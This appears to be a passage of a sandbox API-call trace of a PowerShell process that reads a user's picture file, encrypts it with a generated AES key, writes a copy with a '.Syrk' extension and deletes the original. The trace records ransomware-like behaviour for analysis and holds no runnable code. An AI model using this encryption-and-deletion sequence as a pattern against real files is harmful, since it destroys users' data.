[0253.699] EtwEventActivityIdControl () returned 0x0 [0253.699] EtwEventActivityIdControl () returned 0x0 [0253.700] ReadFile (in: hFile=0x364, lpBuffer=0x23c8988, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23c8988*, lpNumberOfBytesRead=0x5a2e7d8*=0x9427, lpOverlapped=0x0) returned 1 [0253.701] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23dc9a0*, pdwDataLen=0x5a2e7cc*=0x9420, dwBufLen=0x9420 | out: pbData=0x23dc9a0*, pdwDataLen=0x5a2e7cc*=0x9420) returned 1 [0253.702] WriteFile (in: hFile=0x368, lpBuffer=0x23c4af0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23c4af0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0253.703] WriteFile (in: hFile=0x368, lpBuffer=0x23dd98c*, nNumberOfBytesToWrite=0x8434, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23dd98c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x8434, lpOverlapped=0x0) returned 1 [0253.704] ReadFile (in: hFile=0x364, lpBuffer=0x23c8988, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23c8988*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0253.704] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e5dcc*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23e5dcc*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0253.704] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23e5de8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23e5de8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0253.704] WriteFile (in: hFile=0x368, lpBuffer=0x23c4af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23c4af0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0253.705] CloseHandle (hObject=0x368) returned 1 [0253.706] CloseHandle (hObject=0x364) returned 1 [0253.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.707] EtwEventActivityIdControl () returned 0x0 [0253.707] EtwEventActivityIdControl () returned 0x0 [0253.707] EtwEventActivityIdControl () returned 0x0 [0253.712] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 0x20 [0253.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.714] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0253.714] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0253.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0253.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0253.714] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0253.715] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0253.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0253.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0253.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0253.715] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0253.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0253.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 0x20 [0253.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0253.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.719] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0253.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0253.719] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0253.719] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0253.719] CoTaskMemFree (pv=0x3b0008) [0253.721] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 0x20 [0253.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0253.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp", lpFilePart=0x0) returned 0x32 [0253.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0253.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp"), fInfoLevelId=0x0, lpFileInformation=0x23f17c8 | out: lpFileInformation=0x23f17c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be702f0, ftCreationTime.dwHighDateTime=0x1d99d24, ftLastAccessTime.dwLowDateTime=0x3d2b5c00, ftLastAccessTime.dwHighDateTime=0x1d99d95, ftLastWriteTime.dwLowDateTime=0x3d2b5c00, ftLastWriteTime.dwHighDateTime=0x1d99d95, nFileSizeHigh=0x0, nFileSizeLow=0x9427)) returned 1 [0253.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0253.721] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp")) returned 1 [0253.789] EtwEventActivityIdControl () returned 0x0 [0253.789] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.790] EtwEventActivityIdControl () returned 0x0 [0253.790] EtwEventActivityIdControl () returned 0x0 [0253.790] EtwEventActivityIdControl () returned 0x0 [0253.796] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp.syrk")) returned 0x20 [0253.797] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp.syrk")) returned 0x20 [0253.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0253.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk", lpFilePart=0x0) returned 0x37 [0253.797] EtwEventActivityIdControl () returned 0x0 [0253.798] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.798] EtwEventActivityIdControl () returned 0x0 [0253.798] EtwEventActivityIdControl () returned 0x0 [0253.798] EtwEventActivityIdControl () returned 0x0 [0253.801] EtwEventActivityIdControl () returned 0x0 [0253.802] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.802] EtwEventActivityIdControl () returned 0x0 [0253.802] EtwEventActivityIdControl () returned 0x0 [0253.802] EtwEventActivityIdControl () returned 0x0 [0253.806] EtwEventActivityIdControl () returned 0x0 [0253.806] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.806] EtwEventActivityIdControl () returned 0x0 [0253.806] EtwEventActivityIdControl () returned 0x0 [0253.806] EtwEventActivityIdControl () returned 0x0 [0253.810] EtwEventActivityIdControl () returned 0x0 [0253.810] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.810] EtwEventActivityIdControl () returned 0x0 [0253.810] EtwEventActivityIdControl () returned 0x0 [0253.810] EtwEventActivityIdControl () returned 0x0 [0253.814] EtwEventActivityIdControl () returned 0x0 [0253.814] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.814] EtwEventActivityIdControl () returned 0x0 [0253.814] EtwEventActivityIdControl () returned 0x0 [0253.814] EtwEventActivityIdControl () returned 0x0 [0253.818] EtwEventActivityIdControl () returned 0x0 [0253.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0253.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\QJMIbj2cSoJVN7un2O.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\qjmibj2csojvn7un2o.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23fb764 | out: lpFileInformation=0x23fb764*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d53730, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x12d53730, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x12d53730, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x9444)) returned 1 [0253.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0253.823] GetConsoleOutputCP () returned 0x1b5 [0253.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.914] GetConsoleOutputCP () returned 0x1b5 [0253.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.915] GetConsoleOutputCP () returned 0x1b5 [0253.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.915] GetConsoleOutputCP () returned 0x1b5 [0253.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.915] GetConsoleOutputCP () returned 0x1b5 [0253.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.915] GetConsoleOutputCP () returned 0x1b5 [0253.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.916] GetConsoleOutputCP () returned 0x1b5 [0253.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.916] GetConsoleOutputCP () returned 0x1b5 [0253.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.916] GetConsoleOutputCP () returned 0x1b5 [0253.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.916] GetConsoleOutputCP () returned 0x1b5 [0253.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.917] GetConsoleOutputCP () returned 0x1b5 [0253.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.917] GetConsoleOutputCP () returned 0x1b5 [0253.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.917] GetConsoleOutputCP () returned 0x1b5 [0253.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0253.917] GetConsoleOutputCP () returned 0x1b5 [0253.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0253.917] GetConsoleOutputCP () returned 0x1b5 [0253.918] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.918] GetConsoleOutputCP () returned 0x1b5 [0253.918] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.918] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0253.918] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.919] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24153e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24153e8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0253.919] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.920] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0253.921] EtwEventActivityIdControl () returned 0x0 [0253.921] EtwEventActivityIdControl () returned 0x0 [0253.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.922] EtwEventActivityIdControl () returned 0x0 [0253.922] EtwEventActivityIdControl () returned 0x0 [0253.922] EtwEventActivityIdControl () returned 0x0 [0253.924] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.925] EtwEventActivityIdControl () returned 0x0 [0253.925] EtwEventActivityIdControl () returned 0x0 [0253.925] EtwEventActivityIdControl () returned 0x0 [0253.930] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0253.932] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99560) returned 1 [0253.932] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.932] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.932] CryptExportKey (in: hKey=0x5c99560, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x241cdc0, pdwDataLen=0x5a2e8c4 | out: pbData=0x241cdc0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.933] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.933] EtwEventActivityIdControl () returned 0x0 [0253.933] EtwEventActivityIdControl () returned 0x0 [0253.933] EtwEventActivityIdControl () returned 0x0 [0253.934] SysStringLen (param_1="") returned 0x8 [0253.934] SysStringLen (param_1="D") returned 0x8 [0253.934] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.935] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0253.935] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0253.935] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.935] SysStringLen (param_1="DZ") returned 0x8 [0253.935] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.935] SysStringLen (param_1="鹦ᨸ렕ឍ娾꫷떳") returned 0x8 [0253.935] SysStringLen (param_1="鹦ᨸ렕ឍ娾꫷떳") returned 0x8 [0253.935] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.935] SysStringLen (param_1="DZP") returned 0x8 [0253.936] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.936] SysStringLen (param_1="빤ṧ鍾肽\郛蝞⊴) returned 0x8 [0253.936] SysStringLen (param_1="빤ṧ鍾肽\郛蝞⊴) returned 0x8 [0253.936] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.936] SysStringLen (param_1="DZPx") returned 0x8 [0253.936] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.936] SysStringLen (param_1="o䨲䊠鞘") returned 0x8 [0253.936] SysStringLen (param_1="o䨲䊠鞘") returned 0x8 [0253.936] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.936] SysStringLen (param_1="DZPxG") returned 0x8 [0253.936] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.937] SysStringLen (param_1="겋᧗갣﷉毓䇍㢶\⋞) returned 0x8 [0253.937] SysStringLen (param_1="겋᧗갣﷉毓䇍㢶\⋞) returned 0x8 [0253.937] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.937] SysStringLen (param_1="DZPxGJ") returned 0x8 [0253.937] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.937] SysStringLen (param_1="턢塳Ḹ宅ⳉ쎔⍈쑫") returned 0x8 [0253.937] SysStringLen (param_1="턢塳Ḹ宅ⳉ쎔⍈쑫") returned 0x8 [0253.937] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.937] SysStringLen (param_1="DZPxGJz") returned 0x8 [0253.938] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.938] SysStringLen (param_1="桟⻡먹ᷓ⍝") returned 0x8 [0253.938] SysStringLen (param_1="桟⻡먹ᷓ⍝") returned 0x8 [0253.938] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.938] SysStringLen (param_1="DZPxGJzr") returned 0x8 [0253.938] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.938] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰") returned 0x8 [0253.938] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰") returned 0x8 [0253.939] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰") returned 0x8 [0253.939] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰") returned 0x10 [0253.939] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.940] SysStringLen (param_1="DZPxGJzru鸇１䂇泀ẋ") returned 0x10 [0253.940] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.940] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰Ꮞ픎뫔줨迏轼뉻\⋚) returned 0x10 [0253.940] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰Ꮞ픎뫔줨迏轼뉻\⋚) returned 0x10 [0253.940] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.940] SysStringLen (param_1="DZPxGJzruO１䂇泀ẋ") returned 0x10 [0253.940] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.940] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰鬄폕㨞귵栔篹ᮤ") returned 0x10 [0253.940] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰鬄폕㨞귵栔篹ᮤ") returned 0x10 [0253.940] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.941] SysStringLen (param_1="DZPxGJzruOa１䂇泀ẋ") returned 0x10 [0253.941] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.941] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰͊퀋謷円䍾较⽐") returned 0x10 [0253.941] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰͊퀋謷円䍾较⽐") returned 0x10 [0253.941] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.941] SysStringLen (param_1="DZPxGJzruOaB䂇泀ẋ") returned 0x10 [0253.941] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 